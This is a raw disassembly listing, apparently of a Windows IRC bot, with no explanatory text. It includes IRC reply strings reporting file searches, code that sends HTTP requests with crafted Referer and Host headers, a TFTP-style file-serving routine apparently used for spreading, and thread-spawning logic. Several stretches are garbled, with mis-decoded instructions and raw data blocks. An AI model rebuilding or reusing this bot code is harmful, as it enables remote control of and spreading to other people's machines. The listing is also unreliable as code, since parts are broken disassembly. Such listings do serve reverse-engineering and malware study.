		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_413B2A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_413DB0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_404D70
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_404D75
; ---------------------------------------------------------------------------


loc_404D70:				; CODE XREF: sub_404858+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_404D75:				; CODE XREF: sub_404858+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_413B2A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_413B2A
		add	esp, 1Ch
		jmp	short loc_404DF6
; ---------------------------------------------------------------------------


loc_404DD0:				; CODE XREF: sub_404858+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_404DE7:				; CODE XREF: sub_404858+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_413B2A
		add	esp, 18h


loc_404DF6:				; CODE XREF: sub_404858+31Dj
					; sub_404858+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758
		cmp	[ebp+arg_8], ebx
		jz	short loc_404E25
		push	7D0h
		call	ds:dword_41F058	; Sleep


loc_404E25:				; CODE XREF: sub_404858+226j
					; sub_404858+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_41F08C	; FindNextFileA
		test	eax, eax
		jnz	loc_404A78


loc_404E3D:				; CODE XREF: sub_404858+215j
		push	[ebp+arg_0]
		call	near ptr 0A70000h
		sub	eax, 74105D39h
		xor	eax, 99F8458Bh
		push	edx
		push	eax
		call	sub_40A6A6
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40A6A6
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4135AD
		add	esp, 14h
		jmp	short loc_404EB4
; ---------------------------------------------------------------------------
		cmp	[ebp+arg_C], ebx
		jz	short loc_404E9A
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		jmp	short loc_404EB4
; ---------------------------------------------------------------------------


loc_404E9A:				; CODE XREF: sub_404858+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4135AD
		add	esp, 10h


loc_404EB4:				; CODE XREF: sub_404858+626j
					; sub_404858+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_404858	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EDA	proc near		; CODE XREF: sub_403FCB+596p

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_41F078	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_404F92
		push	esi
		push	ebx
		call	near ptr 0A70000h
		cwde
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_404F8B


loc_404F1F:				; CODE XREF: sub_404EDA+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_404F3C
		mov	edi, [ebp+arg_4]


loc_404F3C:				; CODE XREF: sub_404EDA+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_41F098	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_41F094	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42F758
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404F86
		call	ds:dword_42F69C
		cmp	eax, 2733h
		jnz	short loc_404F8B
		xor	eax, eax


loc_404F86:				; CODE XREF: sub_404EDA+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_404F1F


loc_404F8B:				; CODE XREF: sub_404EDA+43j
					; sub_404EDA+A8j
		push	ebx
		call	ds:dword_41F070	; CloseHandle


loc_404F92:				; CODE XREF: sub_404EDA+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404EDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F97	proc near		; CODE XREF: seg000:00404724p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_413DB0
		test	eax, eax
		pop	ecx
		jbe	short loc_404FC0


loc_404FAA:				; CODE XREF: sub_404F97+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_404FB4
		mov	byte ptr [esi+edi], 2Fh


loc_404FB4:				; CODE XREF: sub_404F97+17j
		push	edi
		inc	esi
		call	sub_413DB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_404FAA


loc_404FC0:				; CODE XREF: sub_404F97+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_404F97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FC5	proc near		; CODE XREF: seg000:0040DE30p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_42F680
		push	6
		push	1
		push	2
		call	ds:dword_42F788
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	ds:dword_42F708
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_408503
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_42F6B0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4050A2
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_40503E
		mov	eax, offset byte_42E348


loc_40503E:				; CODE XREF: sub_404FC5+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	ds:dword_42F758
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_413690
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_42F720
		pop	esi


loc_4050A2:				; CODE XREF: sub_404FC5+6Bj
		push	ebx
		call	ds:dword_42F7A0
		call	ds:dword_42F668
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4135AD
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4050E2
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_4050E2:				; CODE XREF: sub_404FC5+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_404FC5	endp

; ---------------------------------------------------------------------------


loc_4050E6:				; CODE XREF: seg000:loc_4055D1p
					; DATA XREF: seg000:00410251o
		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+8]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp-1Ch]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp-37Ch]
		push	ebx
		push	2
		rep movsd
		inc	dword ptr [ebp-16Ch]
		push	2
		mov	[ebp-0Ch], eax
		mov	[edx+2A0h], eax
		call	ds:dword_42F788
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-10h], edi
		jnz	short near ptr loc_4051A8+1
		push	190h
		call	ds:dword_41F058	; Sleep
		call	ds:dword_42F69C
		push	eax
		lea	eax, [ebp-780h]
		push	offset unk_423628
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-0E0h], ebx
		jnz	short loc_405189
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_4110B0
		add	esp, 14h


loc_405189:				; CODE XREF: seg000:00405164j
		lea	eax, [ebp-780h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-170h]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_4051A8:				; CODE XREF: seg000:00405136j
		mov	al, 8Bh
		test	[eax+6AFFFFFEh], edx
		adc	[ecx-40h], ch
		xor	al, 2
; ---------------------------------------------------------------------------
		db 2 dup(0), 53h
; ---------------------------------------------------------------------------
		mov	ds:dword_4348A4[eax], edi
		lea	eax, [ebp-44h]
		push	eax
		call	sub_413630
		add	esp, 0Ch
		mov	word ptr [ebp-44h], 2
		push	dword ptr [ebp-168h]
		call	ds:dword_42F708
		mov	[ebp-42h], ax
		lea	eax, [ebp-44h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-40h], ebx
		call	ds:dword_42F734
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40520E
		push	1388h
		call	ds:dword_41F058	; Sleep
		dec	dword ptr [ebp-16Ch]
		push	dword ptr [ebp+8]
		jmp	loc_4055D1
; ---------------------------------------------------------------------------


loc_40520E:				; CODE XREF: seg000:004051F3j
		lea	eax, [ebp-378h]
		push	offset aRb	; "rb"
		push	eax
		call	sub_413CA8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-8], eax
		jnz	short near ptr loc_40528B+1
		push	190h
		call	ds:dword_41F058	; Sleep
		lea	eax, [ebp-378h]
		push	eax
		lea	eax, [ebp-780h]
		push	offset unk_4235D8
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_4110B0
		lea	eax, [ebp-780h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-170h]
		call	sub_413375
		add	esp, 28h
		push	ebx
		call	near ptr 0A70000h


loc_40528B:				; CODE XREF: seg000:00405226j
		db	3Eh
		mov	esi, 200h


loc_405291:				; CODE XREF: seg000:0040558Bj
		mov	eax, [ebp+8]
		cmp	[eax+2A0h], ebx
		jz	loc_405591
		mov	[ebp-880h], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp-0D8h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-34h], 5
		mov	dword ptr [ebp-30h], 1388h
		mov	dword ptr [ebp-884h], 1
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp-34h]
		push	eax
		push	ebx
		lea	eax, [ebp-884h]
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_42F6F0
		test	eax, eax
		jle	loc_405585
		mov	al, ds:byte_42E348
		mov	ecx, edi
		mov	[ebp-580h], al
		xor	eax, eax
		lea	edi, [ebp-57Fh]
		mov	dword ptr [ebp-4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp-10h]
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		lea	eax, [ebp-0D8h]
		push	80h
		push	eax
		push	edi
		call	ds:dword_42F6E0
		push	dword ptr [ebp-28h]
		mov	[ebp-0Ch], eax
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		call	sub_4135AD
		cmp	[ebp-0D8h], bl
		pop	ecx
		pop	ecx
		jnz	loc_40556F
		cmp	byte ptr [ebp-0D7h], 1
		jnz	loc_4054BB
		lea	eax, [ebp-274h]
		push	eax
		call	sub_413DB0
		lea	eax, [ebp+eax-0D5h]
		mov	[ebp-14h], eax
		lea	eax, [ebp-274h]
		push	eax
		call	sub_413DB0
		push	eax
		lea	eax, [ebp-0D6h]
		push	eax
		lea	eax, [ebp-274h]
		push	eax
		call	sub_414F60
		add	esp, 14h
		test	eax, eax
		jnz	loc_405475
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_413DB0
		push	eax
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp-14h]
		push	eax
		call	sub_414F60
		add	esp, 10h
		test	eax, eax
		jnz	loc_405475
		push	ebx
		push	ebx
		push	dword ptr [ebp-8]
		call	sub_414ECE
		push	dword ptr [ebp-8]
		lea	eax, [ebp-57Ch]
		mov	[ebp-580h], bl
		mov	byte ptr [ebp-57Fh], 3
		push	esi
		push	1
		push	eax
		mov	[ebp-57Eh], bl
		mov	byte ptr [ebp-57Dh], 1
		call	sub_414C40
		add	esp, 1Ch
		lea	ecx, [ebp-2Ch]
		mov	[ebp-0Ch], eax
		add	eax, 4
		push	dword ptr [ebp-4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp-580h]
		push	eax
		push	edi
		call	ds:dword_42F76C
		lea	eax, [ebp-378h]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		push	offset unk_423584


loc_405429:				; CODE XREF: seg000:0040556Aj
		lea	eax, [ebp-780h]
		push	eax
		call	sub_4135AD
		add	esp, 10h
		cmp	[ebp-0E0h], ebx
		jnz	short loc_405463
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_4110B0
		add	esp, 14h


loc_405463:				; CODE XREF: seg000:0040543Ej
		lea	eax, [ebp-780h]
		push	eax
		call	sub_409615
		pop	ecx
		jmp	loc_405585
; ---------------------------------------------------------------------------


loc_405475:				; CODE XREF: seg000:0040539Cj
					; seg000:004053BDj
		push	dword ptr [ebp-4]
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		push	13h
		push	offset dword_423570
		push	edi
		call	ds:dword_42F76C
		lea	eax, [ebp-274h]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		lea	eax, [ebp-0D8h]
		push	offset unk_423534
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-0D8h]
		push	eax
		call	sub_409615
		add	esp, 14h
		jmp	loc_405585
; ---------------------------------------------------------------------------


loc_4054BB:				; CODE XREF: seg000:0040535Bj
		cmp	byte ptr [ebp-0D7h], 4
		jnz	loc_40556F
		mov	cl, [ebp-0D5h]
		mov	al, [ebp-0D6h]
		cmp	cl, 0FFh
		mov	[ebp-580h], bl
		mov	byte ptr [ebp-57Fh], 3
		jnz	short loc_4054F8
		inc	al
		xor	cl, cl
		mov	[ebp-57Eh], al
		mov	[ebp-57Dh], bl
		jmp	short loc_405506
; ---------------------------------------------------------------------------


loc_4054F8:				; CODE XREF: seg000:004054E4j
		inc	cl
		mov	[ebp-57Eh], al
		mov	[ebp-57Dh], cl


loc_405506:				; CODE XREF: seg000:004054F6j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	dword ptr [ebp-8]
		call	sub_414ECE
		push	dword ptr [ebp-8]
		lea	eax, [ebp-57Ch]
		push	esi
		push	1
		push	eax
		call	sub_414C40
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp-2Ch]
		mov	[ebp-0Ch], edi
		push	dword ptr [ebp-4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp-580h]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_42F76C
		cmp	edi, ebx
		jnz	short loc_405585
		lea	eax, [ebp-378h]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		push	offset dword_4234E4
		jmp	loc_405429
; ---------------------------------------------------------------------------


loc_40556F:				; CODE XREF: seg000:0040534Ej
					; seg000:004054C2j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		push	9
		push	offset dword_4234D8
		push	edi
		call	ds:dword_42F76C


loc_405585:				; CODE XREF: seg000:004052EAj
					; seg000:00405470j ...
		cmp	[ebp-0Ch], ebx
		mov	edi, [ebp-10h]
		jg	loc_405291


loc_405591:				; CODE XREF: seg000:0040529Aj
		push	edi
		call	ds:dword_42F7A0
		push	dword ptr [ebp-8]
		call	sub_413C00
		mov	esi, [ebp+8]
		dec	dword ptr [ebp-16Ch]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_4055C5
		push	dword ptr [ebp-170h]
		call	sub_413375
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		stosb


loc_4055C5:				; CODE XREF: seg000:004055B0j
		push	3E8h
		call	ds:dword_41F058	; Sleep
		push	esi


loc_4055D1:				; CODE XREF: seg000:00405209j
		call	loc_4050E6
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055DD	proc near		; CODE XREF: seg000:00410AF8p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_423774
		push	eax
		xor	ebx, ebx
		call	sub_4135AD
		cmp	ds:dword_4236A0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40564B
		push	esi
		mov	esi, offset dword_4236A8


loc_405610:				; CODE XREF: sub_4055DD+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4135AD
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_414FA0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_405610
		pop	esi


loc_40564B:				; CODE XREF: sub_4055DD+2Bj
		push	ds:dword_45DB88
		call	sub_408E5A
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4135AD
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_414FA0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_409615
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_4055DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056A7	proc near		; CODE XREF: seg000:00410465p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_4132A1
		test	eax, eax
		pop	ecx
		jle	short loc_4056E3
		mov	eax, [ebp+arg_C]
		push	ds:dword_42E358[eax*8]
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4237E0
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		jmp	short loc_4056F6
; ---------------------------------------------------------------------------


loc_4056E3:				; CODE XREF: sub_4056A7+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4237AC
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_4056F6:				; CODE XREF: sub_4056A7+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_409615
		add	esp, 18h
		leave
		retn
sub_4056A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40571E	proc far		; CODE XREF: sub_405E47+4Fp

var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_C		= byte ptr  18h
arg_10C		= dword	ptr  118h
arg_12C		= dword	ptr  138h
arg_134		= dword	ptr  140h
arg_138		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_12C]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_405AAE
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	ds:dword_4236AC[eax], ebx
		jz	loc_40598F
		push	4
		call	sub_4132A1
		test	eax, eax
		pop	ecx
		jnz	loc_405AAE
		mov	eax, ds:dword_428228
		push	edi
		mov	edi, offset dword_42ECD4
		push	104h
		push	edi
		push	ebx
		mov	ds:dword_42EEE4, eax
		mov	ds:dword_42EEE0, ebx
		call	near ptr 0A70000h
		retf	368h
; ---------------------------------------------------------------------------
		dw 1
		dd 0EDD8BE00h, 90680042h, 56004282h, 0F63FE8h, 18858B00h
		dd 83000001h, 9D380CC4h, 98h, 42ECD0A3h, 40858B00h, 6A000001h
		dd 0EF68A37Fh, 1D750042h, 5018458Dh, 42EEE868h,	0F60EE800h
		dd 0C4830000h, 6C05C70Ch, 10042EFh, 0EB000000h,	98858D1Ah
		dd 50000000h, 42EEE868h, 0F5EEE800h, 0C4830000h, 6C1D890Ch
		dd 560042EFh, 0E435FF57h, 8D0042EEh, 0FFFDFC85h, 398C68FFh
		dd 0E8500042h, 0DDA9h, 0FC858D53h, 6AFFFFFDh, 46E85004h
		dd 830000D8h, 0DCA320C4h, 8D0042EEh, 5350FC45h,	42ECD068h
		dd 50E66800h, 53530040h, 0F06C15FFh, 0D8B0041h,	42EEDCh
		dd 234C969h, 0C33B0000h, 48AC8189h, 12740043h, 0EF701D39h
		dd 25750042h, 15FF326Ah, 41F058h, 15FFEEEBh, 41F068h, 0FC858D50h
		dd 68FFFFFDh, 423944h, 0DD3BE850h, 0C4830000h, 0FC858D0Ch
		dd 50FFFFFDh, 3D94E8h, 0F32CBF00h, 4C70042h, 10424h, 89535700h
		dd 42F5381Dh, 0A766E800h, 68820066h, 103h, 42F430BEh, 82906800h
		dd 0E8560042h, 0F520h, 118858Bh, 0C4830000h, 989D380Ch
		dd 0A3000000h, 42F328h,	140858Bh, 7F6A0000h, 42F5C0A3h
		dd 8D1D7500h, 68501845h, 42F540h, 0F4EFE8h, 0CC48300h
		dd 0F5C405C7h, 10042h, 1AEB0000h, 98858Dh, 68500000h, 42F540h
		dd 0F4CFE8h, 0CC48300h,	0F5C41D89h, 57560042h, 0F53C35FFh
		dd 858D0042h, 0FFFFFDFCh, 4238F068h, 8AE85000h,	530000DCh
		dd 0FDFC858Dh, 56AFFFFh, 0D727E850h, 0C4830000h, 0F534A320h
		dd 458D0042h, 685350FCh, 42F328h, 4038B168h, 0FF535300h
		dd 41F06C15h, 340D8B00h, 5F0042F5h, 234C969h, 0C33B0000h
		dd 48AC8189h, 16740043h, 0F5C81D39h, 850F0042h,	12Dh, 15FF326Ah
		dd 41F058h, 15FFEAEBh, 41F068h,	38AC6850h, 3E90042h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_40598F:				; CODE XREF: sub_40571E+25j
		cmp	ds:dword_4236B0[eax], ebx
		jz	loc_405AAE
		push	3
		call	sub_4132A1
		test	eax, eax
		pop	ecx
		jnz	loc_405AAE
		mov	esi, offset dword_42F204
		push	104h
		push	esi
		push	ebx
		call	near ptr 0A70000h
		xor	ebp, [edx+5Ch]
		push	esi
		call	sub_4150D0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4059CD
		mov	[eax], bl


loc_4059CD:				; CODE XREF: sub_40571E+2ABj
		mov	eax, ds:dword_42822C
		mov	ds:dword_42F31C, ebx
		mov	ds:dword_42F308, eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	offset dword_42EF7C
		call	sub_4135AD
		mov	eax, [ebp+arg_10C]
		pop	ecx
		pop	ecx
		mov	ds:dword_42EF78, eax
		mov	ecx, [ebp+arg_134]
		push	esi
		push	ds:dword_42F308
		mov	ds:dword_42F314, ecx
		mov	ecx, [ebp+arg_138]
		push	eax
		mov	ds:dword_42F318, ecx
		call	sub_408619
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42385C
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_413059
		add	esp, 20h
		mov	ds:dword_42F310, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_42EF78
		push	offset sub_403FCB
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, ds:dword_42F310
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_405A86


loc_405A74:				; CODE XREF: sub_40571E+366j
		cmp	ds:dword_42F324, ebx
		jnz	short loc_405AA1
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_405A74
; ---------------------------------------------------------------------------


loc_405A86:				; CODE XREF: sub_40571E+354j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_423814
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4135AD
		add	esp, 0Ch


loc_405AA1:				; CODE XREF: sub_40571E+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_409615
		pop	ecx


loc_405AAE:				; CODE XREF: sub_40571E+14j
					; sub_40571E+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40571E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AB2	proc near		; CODE XREF: sub_405C33:loc_405CA4p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:42E358h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_413690
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_42F63C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_42F704
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_413690
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_405AB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AFA	proc near		; CODE XREF: sub_405C33+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
